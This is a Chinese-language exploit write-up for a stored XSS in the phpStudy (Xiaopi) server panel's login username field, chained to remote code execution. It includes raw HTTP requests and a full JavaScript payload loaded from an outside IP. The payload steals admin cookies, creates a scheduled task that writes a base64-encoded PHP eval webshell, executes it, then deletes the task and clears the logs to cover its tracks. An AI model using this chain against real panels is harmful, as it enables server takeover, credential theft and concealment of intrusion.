phpstudy后台管理页面利用存储型XSS实现one click RCE
一、漏洞介绍
phpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。phpStudy面板存在存储型XSS漏洞,攻击者可以通过JS调用面板中的计划任务执行系统命令。(文末附poc)
二、受影响的版本
- 小皮windows面板V0.102以及以下版本
- 小皮Linux面板X1.29以及以下版本
据师傅们反馈,官网版本已悄悄更新,师傅们可以根据登录失败返回信息判断是否存在该漏洞
漏洞未修复时的版本:
漏洞已修复后的版本:
三、漏洞复现
1、下载小皮面板
官方下载地址:https://www.xp.cn/
2、漏洞复现
安装完成后来到登录页面,复制好相关后台连接和用户名密码后进行正常登录。
登录处验证代码如下:
// 登录
public static function login($username,$pwd,$verifycode){
if($username==''){
return array('code'=>1,'msg'=>'用户名不能为空');
}
if($pwd == ''){
return array('code'=>1,'msg'=>'密码不能为空');
}
if(!sessionStarted()){
sessionStart();
}
if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
return array('code'=>1,'msg'=>'验证码不正确');
}
$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
$res = Socket::request($request);
if(!$res){
return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
}
$res = json_decode($res,true);
if($res['result'] == -1){
return array('code'=>300,'msg'=>$res['msg']);
}
if($res['result'] == 0){
return array('code'=>1,'msg'=>$res['msg']);
}
//token校验
$_SESSION['this_token'] = $res['token'];
// $access_token = md5(time()).md5(rand(1,100));
$access_token = $res['token'];
$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
return $res;
}
漏洞验证
在用户名处插入xss语句,验证码需要写对,不然走不到后面的步骤,进行登录,产生登录日志
使用弹窗payload进行测试
<script>alert(1)</script>
日志会记录登录失败的用户名,并在登录后将尝试的用户名直接显示在小皮首页当中,而这个过程是没有过滤的,也就可以进行任意xss。
当管理员登录了面板就会触发xss。
利用xss平台获取cookies
在用户名处插入,待管理员登录后台后即可触发。
最后返回我们的xss平台,发现小皮面板的登录cookie已经被我们的xss平台接收到了。
进一步利用
要实现rce的话可以配合小皮自带的计划任务,实现后台添加计划任务实现写webshell、反弹shell等操作,这些交给js就可以实现自动化完成。
其中获取日志的代码如下
js代码内容:
1、添加计划任务,用户名不能重复,所以直接js中生成随机字符串
2、获取刚刚添加的任务ID
3、请求立即执行
4、删除刚刚添加的计划任务
5、清空日志,避免重复触发
<script src="http://xx.xx.xx.xx:6543/phpstudy_rce.js"></script>
POST /service/app/account.php HTTP/1.1
Host: 192.168.88.129:9080
Content-Length: 132
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.129:9080
Referer: http://192.168.88.129:9080/EC9C0E
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f722243f74f8d841603096bd
Connection: close
type=login&username=%3Cscript+src%3D%22http%3A%2F%2F43.138.226.251%3A6543%2Fphpstudy_rce.js.js%22%3E%3C%2Fscript%3E&password=111&verifycode=hzuB
1、添加任务
POST /service/app/tasks.php?type=save_shell HTTP/1.1
Host: 192.168.88.129:9080
Content-Length: 79
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.129:9080
Referer: http://192.168.88.129:9080/EC9C0E
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f722243f74f8d841603096bd
Connection: close
task_id=&title=shell_title&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=calc
2、获取计划任务列表
GET /service/app/tasks.php?type=task_list HTTP/1.1
Host: 192.168.88.137:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.88.137:9080/6BE769
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1
Connection: close
3、执行计划任务
POST /service/app/tasks.php?type=exec_task HTTP/1.1
Host: 192.168.88.129:9080
Content-Length: 5
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.129:9080
Referer: http://192.168.88.129:9080/EC9C0E
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f722243f74f8d841603096bd
Connection: close
tid=1
4、删除计划任务
POST /service/app/tasks.php?type=del_task HTTP/1.1
Host: 192.168.88.137:9080
Content-Length: 5
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.137:9080
Referer: http://192.168.88.137:9080/6BE769
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1
Connection: close
tid=1
5、清理操作日志记录
POST /service/app/log.php?type=clearlog HTTP/1.1
Host: 192.168.88.137:9080
Content-Length: 13
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.88.137:9080
Referer: http://192.168.88.137:9080/6BE769
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1
Connection: close
type=clearlog
phpstudy_rce.js
function exp() {
$.ajax({
url: '/service/app/tasks.php?type=task_list', //获取计划任务列表
type: 'GET',
headers:{
"X-Requested-With": "XMLHttpRequest"
},
dataType: 'json',
success: function (data) {
var id = data.data[0].ID; //任务名称
$.ajax({
url: '/service/app/tasks.php?type=exec_task', //执行计划任务
type: 'POST',
headers:{
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
data: { tid: id },
dataType: 'json',
success: function (res) {
$.ajax({
url: '/service/app/log.php?type=clearlog',
type: 'POST',
data: { type: 'clearlog' },
dataType: 'json',
success: function (res2) {}
});
}
});
}
});
}
function save() {
var data = new Object();
data.task_id = '';
data.title = 'shell_title';
data.exec_cycle = '5';
data.week = '1';
data.day = '3';
data.hour = '1';
data.minute = '1';
data.shell = 'echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > /root/webshel.php';
$.ajax({
url: '/service/app/tasks.php?type=save_shell',
type: 'POST',
headers:{
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
data: data,
dataType: 'json',
success: function (res) {
exp();
}
});
}
save();